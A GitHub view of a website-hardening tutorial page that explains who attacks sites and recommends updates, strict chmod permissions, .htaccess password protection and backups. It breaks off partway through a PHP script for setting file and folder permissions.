-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathen-internet-secure-protect-from-hacker-attacks.html
1406 lines (1353 loc) · 215 KB
/
en-internet-secure-protect-from-hacker-attacks.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE HTML>
<!--
Twenty by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
-->
<html lang="en">
<head>
<meta charset="utf-8">
<title>Secure and protect your website from hacker attacks</title>
<link rel="alternate" type="application/rss+xml" href="https://silomia.github.io/rss.xml" title="Silomia">
<link rel="alternate" type="application/rss+xml" href="https://silomia.github.io/en-rss.xml" title="Silomia English">
<link rel="alternate" hreflang="fr" href="https://silomia.github.io/internet-se-proteger-des-pirates-et-hackers.html">
<link rel="alternate" hreflang="en" href="https://silomia.github.io/en-internet-secure-protect-from-hacker-attacks.html">
<link rel="canonical" href="https://silomia.gitlab.io/en-internet-secure-protect-from-hacker-attacks.html">
<link rel="preload" href="css/styles.min.css" as="style">
<link rel="preload" href="js/script.min.js" as="script">
<link rel="preload" href="fonts/silomia-inter-light.woff2" as="font" type="font/woff2" crossorigin="anonymous">
<link rel="preload" href="fonts/silomia-inter-menu.woff2" as="font" type="font/woff2" crossorigin="anonymous">
<link rel="preload" href="fonts/silomia-inter-semibold.woff2" as="font" type="font/woff2" crossorigin="anonymous">
<link rel="preload" href="fonts/silomia-symbol.woff2" as="font" type="font/woff2" crossorigin="anonymous">
<link rel="apple-touch-icon" sizes="192x192" href="favicon-touch-192x192.png">
<link rel="icon" type="image/png" sizes="144x144" href="favicon.png">
<link rel="manifest" href="manifest.json">
<link rel="mask-icon" href="magnolia-silomia-carre.svg" color="#ab2bab">
<meta name="apple-mobile-web-app-title" content="Silomia">
<meta name="application-name" content="Silomia">
<meta name="theme-color" content="#ffffff">
<meta property="og:title" content="Secure and protect your website from hacker attacks">
<meta property="og:locale" content="en">
<meta property="og:site_name" content="Silomia">
<meta property="og:type" content="article">
<meta property="og:image" content="https://silomia.github.io/images/password-pn_photo.jpg">
<meta property="og:url" content="https://silomia.github.io/en-internet-secure-protect-from-hacker-attacks.html">
<meta name="viewport" content="width=device-width initial-scale=1.0 maximum-scale=1.0 user-scalable=no">
<script type="application/ld+json">
{"@context":"http://schema.org/","@type":"Article","author":{"@type":"Person","name":"Ralph Davidovits"},"publisher":{"@type":"Organization","name":"Silomia","logo":{"@type":"ImageObject","url": "https://silomia.github.io/favicon-touch-192x192.png"}},
"datePublished":"2021-06-21","dateModified":"2024-07-15",
"headline":"Secure and protect your website from hacker attacks",
"image":["https://silomia.github.io/images/up-close-pear-cake.jpg"],
"mainEntityOfPage":{"@type":"WebPage","@id":"https://silomia.github.io/internet.html"}
}
</script>
<style media="screen">@media screen and (prefers-color-scheme:dark){body{color:silver;background-color:#151515}}a,article,body,div,em,footer,header,html,img,li,picture,section,span,strong{margin:0;padding:0;border:0}h1,h2,h3,h4,p,ul{padding:0;border:0}article,footer,header,section{display:block}.container{margin-left:auto;margin-right:auto;width:1300px}*,.row,.row>*,::after,::before{box-sizing:border-box}.row{border-bottom:solid 1px transparent;margin:-50px 0-1px -50px}.row>*{float:left;padding:50px 0 0 50px}.row::after,.row::before{content:"";display:block;clear:both;height:0}.\34 u,.\34 u\$,.\36 u,.\38 u{width:33.3333333333%;clear:none;margin-left:0}.\36 u,.\38 u{width:50%}.row.\31 50\%>*{padding:75px 0 0 75px}.row.\31 50\%{margin:-75px 0-1px -75px}.\38 u{width:66.6666666667%}body{font-family:"Inter",-apple-system,system-ui,sans-serif;font-weight:300;letter-spacing:.02em;line-height:1.65em}a{text-decoration:none;border-bottom:dotted 1px}h1,h2,h3,h4,strong{font-weight:600}em{font-style:italic}blockquote,p,ul{margin:0 0 2em}h1,h2,h3,h4{color:inherit;line-height:1.75em;margin:.7em 0;text-transform:uppercase;letter-spacing:normal}h1{font-size:1.4em}h2,h3{font-size:1.15em}blockquote{font-style:italic;padding:1em 0 1em 2em}body,section{font-size:14pt}section.special{text-align:center}header.major{padding-bottom:2em}header.special{margin-bottom:4em;padding-top:5.5em;position:relative;text-align:center}header.special::after,header.special::before{border-bottom:solid 1.5px;border-top:solid 1.5px;content:"";height:7px;opacity:.1;position:absolute;top:1.75em;width:43%}header.special::before{left:0}header.special::after{right:0}header.special h1{margin-bottom:0;font-weight:300}header.special h1+p{margin-bottom:0;padding-top:1.5em}header.special .icon{height:7em;left:0;position:absolute;text-align:center;top:1em;width:100%}header.special .icon::before{font-size:3.5em;opacity:.35}footer>:last-child{margin-bottom:0}picture{min-height:100px}#main{padding:7em 0}body.index #main{padding-top:5em}.mh-head .mh-text{display:block}.mh-head.mh-align-right .mh-text{text-align:right}.image.featured img,picture.image.featured{display:block;margin:0 0 2em;width:100%;min-height:200px}.wrapper{margin-bottom:5em;padding:5em}.wrapper.style3,.wrapper.style4{color:inherit;border-radius:5px}.wrapper.style4{padding:4em}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.icon{text-decoration:none;position:relative}.icon::before{font-style:normal;font-weight:400;text-transform:none!important}.mm-menu_offcanvas:not(.mm-menu_opened){display:none}@media screen and (min-width:1900px){.container{width:1400px}body,section{font-size:16pt}}@media screen and (max-width:1680px){.container{width:1200px}.row>*{padding:40px 0 0 40px}.row{margin:-40px 0-1px -40px}.row.\31 50\%>*{padding:60px 0 0 60px}.row.\31 50\%{margin:-60px 0-1px -60px}#main .sidebar section{margin:3em 0 0;padding:3em 0 0}#main .sidebar section:first-child{border-top-width:0;padding-top:0;margin-top:0}body{font-size:14pt}section{font-size:12.5pt}}@media screen and (max-width:1280px){.container{width:960px}.row>*{padding:40px 0 0 40px}.row{margin:-40px 0-1px -40px}.row.\31 50\%>*{padding:60px 0 0 60px}.row.\31 50\%{margin:-60px 0-1px -60px}#main .sidebar section{margin:3em 0 0;padding:3em 0 0}#main .sidebar section:first-child{border-top-width:0;padding-top:0;margin-top:0}body{font-size:13pt;line-height:1.65em}section{font-size:12pt}h1,h2,h3,h4{line-height:1.5em}.wrapper{margin-bottom:4em;padding:4em 3em}.wrapper.style4{padding:3em}}@media screen and (max-width:980px){.container{width:95%}.row>*{padding:30px 0 0 30px}.row{margin:-30px 0-1px -30px}.row.\31 50\%>*{padding:45px 0 0 45px}.row.\31 50\%{margin:-45px 0-1px -45px}body{font-size:13pt;line-height:1.55em}section{font-size:12.5pt}header.special{padding-left:2.5em;padding-right:2.5em}.wrapper{margin-bottom:3em;padding:3em 2.5em}.wrapper.style4{padding:2.5em}}@media screen and (max-width:840px){.container{width:95%!important}.row>*{padding:30px 0 0 30px}.row{margin:-30px 0-1px -30px}.row.\31 50\%>*{padding:45px 0 0 45px}.row.\31 50\%{margin:-45px 0-1px -45px}.\31 2u\28narrower\29 {width:100%;clear:none;margin-left:0}body,html{font-size:14pt}section{font-size:13pt;margin:1em 0}h1{font-size:1.25em;letter-spacing:-.02em}h2,h3{font-size:1.05em;letter-spacing:.002em}header.special{margin-bottom:4em;padding-top:5em}header.special::after,header.special::before{width:40%}header.special h1+p{padding-top:1.25em;letter-spacing:-.01em}section:first-child{margin-top:0}.wrapper.style4{padding-bottom:3em}#main{padding:5em 0}}@media screen and (max-width:730px){.container{width:100%!important}.row>*{padding:30px 0 0 30px}.row{margin:-30px 0-1px -30px}.row.\31 50\%>*{padding:45px 0 0 45px}.row.\31 50\%{margin:-45px 0-1px -45px}body{min-width:320px;font-size:14pt;letter-spacing:.01em}section{font-size:13.5pt}h1{font-size:1.25em}h2,h3{font-size:1em}header,header p{text-align:center}header.special{margin-bottom:3em;padding-left:1.5em;padding-right:1.5em}header.special::after,header.special::before{width:38%}header.special .icon{font-size:.75em;top:1.5em}.image.featured img,picture.image.featured{min-height:100px}.wrapper{margin-bottom:2.5em;padding:2.25em 1.5em}.wrapper.style4{background-size:10em;padding:1.5em 1.5em 3em}#main{padding:3.5em 0 2.5em}}@media screen and (max-width:360px){body{font-size:14pt}section{font-size:13pt}}</style>
</head>
<body class="right-sidebar" onerror="ers()">
<div id="page-wrapper">
<!-- Header -->
<header id="header" role="banner" class="mh-head mh-align-right">
<span class="mh-btns-left"><a class="mburger mburger--squeeze" href="#my-menu"><b></b> <b></b> <b></b> <span class="mburger-label">Menu</span></a></span>
<span class="icon fa-magnolia mh-logo"></span>
<span class="mh-text slogan"><strong>Touch the light</strong> through the path of words</span>
</header>
<!-- Main -->
<article id="main">
<header class="special container">
<span class="icon fa-code"></span>
<h1>Secure and protect your website from <strong>hackers attacks</strong></h1>
<p>Learn how they do it so you don't get scared and know the parry.</p>
</header>
<!-- One -->
<section class="wrapper style4 container">
<div class="row 150%">
<div class="8u 12u(narrower)">
<!-- Content -->
<div class="content">
<section>
<picture class="image featured">
<source type="image/avif" media="(max-width: 415px)" srcset="images/password-pn_photo@1x.avif">
<source type="image/avif" media="(min-width: 416px)" srcset="images/password-pn_photo@1x.avif 1x, images/password-pn_photo.avif 2x">
<source media="(max-width: 415px)" srcset="images/password-pn_photo@1x.jpg">
<source media="(min-width: 416px)" srcset="images/password-pn_photo@1x.jpg 1x, images/password-pn_photo.jpg 2x">
<img src="images/password-pn_photo@1x.jpg" alt="Password. Crédit photo: PN_Photo">
</picture>
<header>
<h2>Table of Contents</h2>
</header>
<p>
<table class="smallfont">
<tbody>
<tr>
<td><a href="#intro">Who are the hackers?</a></td>
<td><a href="#chmod">CHMOD permissions</a></td>
<td><a href="#htaccess">Protection by htaccess</a></td>
</tr>
<tr>
<td><a href="#gesfic">File Manager</a></td>
<td><a href="#installsql">Install a blog, cms, wiki</a></td>
<td><a href="#nommage">File naming</a></td>
</tr>
<tr>
<td><a href="#motpasse">Passwords</a></td>
<td><a href="#cryptconfig">Encrypt config.inc.php</a></td>
<td><a href="#cryptmail">Encrypt e-mail address</a></td>
</tr>
<tr>
<td><a href="#adressmail">E-mail addresses to avoid</a></td>
<td><a href="#dossierpasse">Password Lockout</a></td>
<td><a href="#robots">The file robots.txt</a></td>
</tr>
<tr>
<td><a href="#protcss">Protect CSS and index.php</a></td>
<td><a href="#filtrephp">Secure a PHP script</a></td>
<td><a href="#injectsql">Counter SQL injection</a></td>
</tr>
<tr>
<td><a href="#fichmodif">List of modified files</a></td>
<td><a href="#testweb">Test site security</a></td>
<td><a href="#piratesavoir">Hacked without knowing it?</a></td>
<td> </td>
</tr>
</tbody>
</table></p>
<a id="intro"></a><hr><br>
<header>
<h2>Introduction</h2>
</header>
<p>How can you prevent your website from being used by a hacker as a platform for phishing or spamming? How to avoid defacing, i.e., deleting your website and replacing it with another one, or a page with an anti-western slogan? How to avoid specific security holes?</p>
<p>In principle, your provider's mutualized servers should be relatively secure and have tools to block some suspicious behaviours. Hosting providers are professionals who master their equipment. They offer a space that you must control, they do not do it for you. Indeed, they only take care of their part (the management of the hardware and their servers), and you are responsible for the data you put there (website, e-mail, files…). Consequently, the host suspends your website after an attack, leaving you to fix the problem on your own. As long as you do not intervene, this after-the-fact action blocks your account and your website remains inaccessible. It is therefore preferable to prevent the hacker from harming you.</p>
<p>Here are some very practical and very effective tips. It is the collection of these tips and tricks that will secure your site because there is no single solution; hackers use many different means to force an account.</p>
<p><strong>Who are the hackers?</strong> The first ones are “skiddy”, young people (“kid” in English, “kiddy” for the little one) who use ready-to-use scripts (the “s” of skiddy) that are easily found on the web to exploit the flaws of a CMS, blog, e-commerce, etc. They just use these scripts as you would use a software. They are not “small geniuses”, they don't code and they don't invent anything. They challenge whoever will delete or violate the most websites. The others, much more dangerous, are hackers at the service of a mafia in order to take control of your website via a flaw in your CMS, blog or e-commerce to convert it into a platform for sending spam or phishing, or as a robot to violate other computers. These people create their own scripts that they do not share with a community. They do this for money; the mafia pays them according to the number of websites hacked, login and password collected, means of payment intercepted, personal computers they have taken control of without the knowledge of the unfortunate owner (i.e., your PC at home) and taking advantage of your Internet connection by coding a <em>malware</em> for example.</p>
<p><strong>Why are they attacking your site?</strong> Neither the skiddy nor the mobster is targeting you personally. Some do it for fun, some do it for money. It is unlikely you would be personally targeted. Some skiddies erase sites and hide behind pseudo-political and anti-western slogans to scare you, to make them feel important and taken seriously. This is not the case.</p>
<p><strong>How do they know my site has a security flaw?</strong> Answer: Google or any other search engine! They look for a specific file like login.php, confip.php or others, and, combined with a few keywords, know which CMS, blog or e-commerce you are using. They will then try to run a script to test if the attack works. They don't even do this manually because they have software that does it automatically!!! Their software tests every URL listed by Google looking for the flaw. It is as simple as that. They find you by chance.</p>
<p>So we are going to try to guard against these automatic attacks. These tips only concern websites using a CMS, blog or e-commerce, etc. coded by computer experts or by you.</p>
<p><strong class="vert">TIP NUMBER ONE:</strong> your CMS, blog or e-commerce must be up to date. You will follow the security updates and install them without delay.</p>
<p><strong class="vert">TIP NUMBER 2: THE MOST IMPORTANT RULES</strong> <br>
As this tutorial is lengthy, here are the rules that should be applied in priority. You can include the others later.<br>
<strong>1-</strong> Assign chmod 404 permission to files and chmod 505 permission to folders via FTP. <a href="#chmod">See the article below.</a> <strong>This is, without a doubt, the most effective and essential rule.</strong></p>
<p><strong>2-</strong> The dashboard or the administration interface of your blog, CMS or e-commerce is protected by a login and a complex password. However, its resistance to attack depends on the technical choices (and flaws) of the developer. Against this, add a second protection by <a href="#dossierpasse">.htaccess password.</a> If a hacker manages to bypass the first security, he will come up against a second wall. <strong>This double defence is an armour against automatic attacks.</strong></p>
<p><strong>3-</strong> htaccess filtering rules. They allow you to stop many attacks before hitting your website. <a href="#htaccess">See the article here.</a> Their effectiveness will be excellent but they are based on <strong>hacker behaviours and techniques that evolve</strong> over the years. These protections will never be absolute.</p>
<p>If you can combine the first three rules, or at least only the first two, <strong class="vert"> you will build a real fortress!</strong></p>
<p><strong>4-</strong> Rules for backing up and restoring your website. First, check which files the hacker has added or modified by installing <a href="#fichmodif">this script</a>. Second, are you able to completely erase your website to remove all hacker traces and reactivate everything within 30 minutes? Here's how. <a href="en-internet-backup-restore-files-web-sql.html">Read the article here</a>.</p>
<a id="chmod"></a><hr><br>
<header>
<h2>Write, read and execute permissions.</h2>
</header>
<p><strong class="vert">-= ESSENTIAL =-</strong></p>
<p>Read more here: <a href="https://en.wikipedia.org/wiki/Chmod">Description of the CHMOD and the meaning of the numbers.</a></p>
<p>Be careful, these rules may work for some hosts and not for others. Give it a try, it is really worth it.</p>
<p>We are used to saying that we have to assign by FTP the permission 644 to a file and 755 to a folder.<br>
In fact, some hosts (but not all) don't seem to use <em>group</em>. So we could very well use 604 permission for a file and 705 permission for a folder. If an attacker enters the system with a <em>group</em> permission, he will not have access to anything, neither read nor write.</p>
<p>We can go further. Let's protect sensitive parts of your CMS, blog or e-commerce, such as the config.php and .htaccess file by giving it 404 (or 444) permission. No one will be able to modify it, not even you (this is absolutely wrong if your site has a big security hole, but it is unstoppable against an automatic attack). You will only be able to do it by FTP when you really need to modify it.</p>
<p><strong>This is how I protect my site:</strong><br>
All files have 404 (or 444) permission.<br>
All folders have 505 (or 555) permission.<br>
If a file or folder requires writing permission by the server, set 604 for the file and 705 for the folder. No need to do the famous 777 (all rights to everyone) which is a public danger, a provocation to hacking because you announce that your house is wide open, without doors or windows, anyone can help himself.<br>
The config and htaccess files have 404 (or 444) permission.<br>
The folder “www” or “public_html” <strong>must</strong> be in chmod 705 or 755 depending on your host, never change it.</p>
<p><strong>Advantage:</strong> nobody can modify your files. <strong>Disadvantage:</strong> you have to change the write permission (644 and 755) if you update your CMS, blog or e-commerce and give the proper permission 404 (or 444) and 505 (or 555) afterwards. It takes 10 minutes, but it is worth it. If your web host doesn't allow you to do this, move to another one.</p>
<p><strong>Why is this so important?</strong> The hacker is trying to install a file on your site in order to take control of it (to delete the site, to put files for phishing or a script that sends spam, etc.). He is looking for security holes so that he can save his takeover file on your server. If your website has a security hole, the hacker will exploit it, but since your website only has folders and files that are write-prohibited, he won't be able to save anything. His attack will not work. <strong>If there was only one rule to apply it would be this one, without a doubt the most effective and essential one.</strong></p>
<p>The easiest way is to use your FTP software, display the information about a file or folder and your software will provide the option to change permission. Another effective method, if you have many files, is to connect using SSH (see its description below). Otherwise, here is a small PHP script that will allow you to perform this operation very simply. You save this file in your web hosting, open it from your browser, enter the path to the folder you want to process, and choose the CHMOD settings for all files and folders included in this directory. A detailed report will give you the results. Once the operation is completed, delete this file to prevent unintended use.</p>
<p>You can get this PHP file here: <a href="depot/chmod-en.zip">chmod-en.zip (2.1 KB)</a></p>
<span class="smallfont">Code PHP:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;height:40em;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #BC7A00"><?php</span>
<span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">CHMOD permission MODIFICATION FORM FOR FILES AND FOLDERS</span>
<span style="color: #408080; font-style: italic">Save this file in your web hosting directory, open it </span>
<span style="color: #408080; font-style: italic">with your browser and follow the instructions.</span>
<span style="color: #408080; font-style: italic">An error report is provided. Delete the file after use.</span>
<span style="color: #408080; font-style: italic">*/</span>
<span style="color: #408080; font-style: italic">/* variable initialization */</span>
<span style="color: #19177C">$dosPerm</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"0"</span>;
<span style="color: #19177C">$ficPerm</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"0"</span>;
<span style="color: #19177C">$retval</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"0"</span>; <span style="color: #408080; font-style: italic">/* CHMOD error count */</span>
<span style="color: #408080; font-style: italic">/* Path to the file to be processed */</span>
<span style="color: #19177C">$chem</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">'~[^_A-Za-z0-9-\.%\/]~i'</span>,<span style="color: #BA2121">''</span>, <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"chemin"</span>]); <span style="color: #408080; font-style: italic">/* absolute file path (with cleanup against hacking) */</span>
<span style="color: #19177C">$chem</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">'/\.\.\//'</span>,<span style="color: #BA2121">''</span>, <span style="color: #19177C">$chem</span>); <span style="color: #408080; font-style: italic">/* you forbid the command ../ */</span>
<span style="color: #008000">define</span>(<span style="color: #BA2121">'ABSPATH'</span>, <span style="color: #008000">dirname</span>(<span style="color: #008000; font-weight: bold">__FILE__</span>));
<span style="color: #19177C">$chem</span> <span style="color: #666666">=</span> ABSPATH<span style="color: #666666">.</span><span style="color: #19177C">$chem</span>; <span style="color: #408080; font-style: italic">/* absolute file path of your account such as /home/loginftp/www/ or /home/loginftp/public_html/ etc. */</span>
<span style="color: #408080; font-style: italic">/* Folder permission */</span>
<span style="color: #19177C">$d1</span> <span style="color: #666666">=</span> <span style="color: #008000">filter_var</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"dir1"</span>], FILTER_VALIDATE_REGEXP, <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'options'</span> <span style="color: #666666">=></span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'regexp'</span> <span style="color: #666666">=></span> <span style="color: #BA2121">'/^[57]$/'</span>)));
<span style="color: #19177C">$d2</span> <span style="color: #666666">=</span> <span style="color: #008000">filter_var</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"dir2"</span>], FILTER_VALIDATE_REGEXP, <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'options'</span> <span style="color: #666666">=></span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'regexp'</span> <span style="color: #666666">=></span> <span style="color: #BA2121">'/^[057]$/'</span>)));
<span style="color: #19177C">$d3</span> <span style="color: #666666">=</span> <span style="color: #008000">filter_var</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"dir3"</span>], FILTER_VALIDATE_REGEXP, <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'options'</span> <span style="color: #666666">=></span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'regexp'</span> <span style="color: #666666">=></span> <span style="color: #BA2121">'/^[057]$/'</span>)));
<span style="color: #19177C">$dosPerm</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"0"</span><span style="color: #666666">.</span><span style="color: #19177C">$d1</span><span style="color: #666666">.</span><span style="color: #19177C">$d2</span><span style="color: #666666">.</span><span style="color: #19177C">$d3</span>;
<span style="color: #19177C">$dosPerm</span> <span style="color: #666666">=</span> <span style="color: #008000">intval</span>(<span style="color: #19177C">$dosPerm</span>,<span style="color: #666666">8</span>);
<span style="color: #408080; font-style: italic">/* File permission */</span>
<span style="color: #19177C">$f1</span> <span style="color: #666666">=</span> <span style="color: #008000">filter_var</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"fic1"</span>], FILTER_VALIDATE_REGEXP, <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'options'</span> <span style="color: #666666">=></span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'regexp'</span> <span style="color: #666666">=></span> <span style="color: #BA2121">'/^[46]$/i'</span>)));
<span style="color: #19177C">$f2</span> <span style="color: #666666">=</span> <span style="color: #008000">filter_var</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"fic2"</span>], FILTER_VALIDATE_REGEXP, <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'options'</span> <span style="color: #666666">=></span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'regexp'</span> <span style="color: #666666">=></span> <span style="color: #BA2121">'/^[046]$/i'</span>)));
<span style="color: #19177C">$f3</span> <span style="color: #666666">=</span> <span style="color: #008000">filter_var</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"fic3"</span>], FILTER_VALIDATE_REGEXP, <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'options'</span> <span style="color: #666666">=></span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'regexp'</span> <span style="color: #666666">=></span> <span style="color: #BA2121">'/^[046]$/i'</span>)));
<span style="color: #19177C">$ficPerm</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"0"</span><span style="color: #666666">.</span><span style="color: #19177C">$f1</span><span style="color: #666666">.</span><span style="color: #19177C">$f2</span><span style="color: #666666">.</span><span style="color: #19177C">$f3</span>;
<span style="color: #19177C">$ficPerm</span> <span style="color: #666666">=</span> <span style="color: #008000">intval</span>(<span style="color: #19177C">$ficPerm</span>, <span style="color: #666666">8</span>);
<span style="color: #408080; font-style: italic">/* Html form to change permission */</span>
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<html><meta http-equiv=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">content-type</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> content=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">text/html; charset=utf-8</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> />"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<body><h3>Changing CHMOD access permission to folders and files <br />in your hosting.</h3>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<table><tr><td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<form method=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">post</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td>Folder permission: </td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<td><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">dir1</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">5</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>5</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">7</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> selected>7</option></select><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">dir2</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">0</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>0</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">5</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> selected>5</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">7</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>7</option></select><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">dir3</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">0</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>0</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">5</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> selected>5</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">7</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>7</option></select></td></tr>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td>File permission: </td>"</span>;
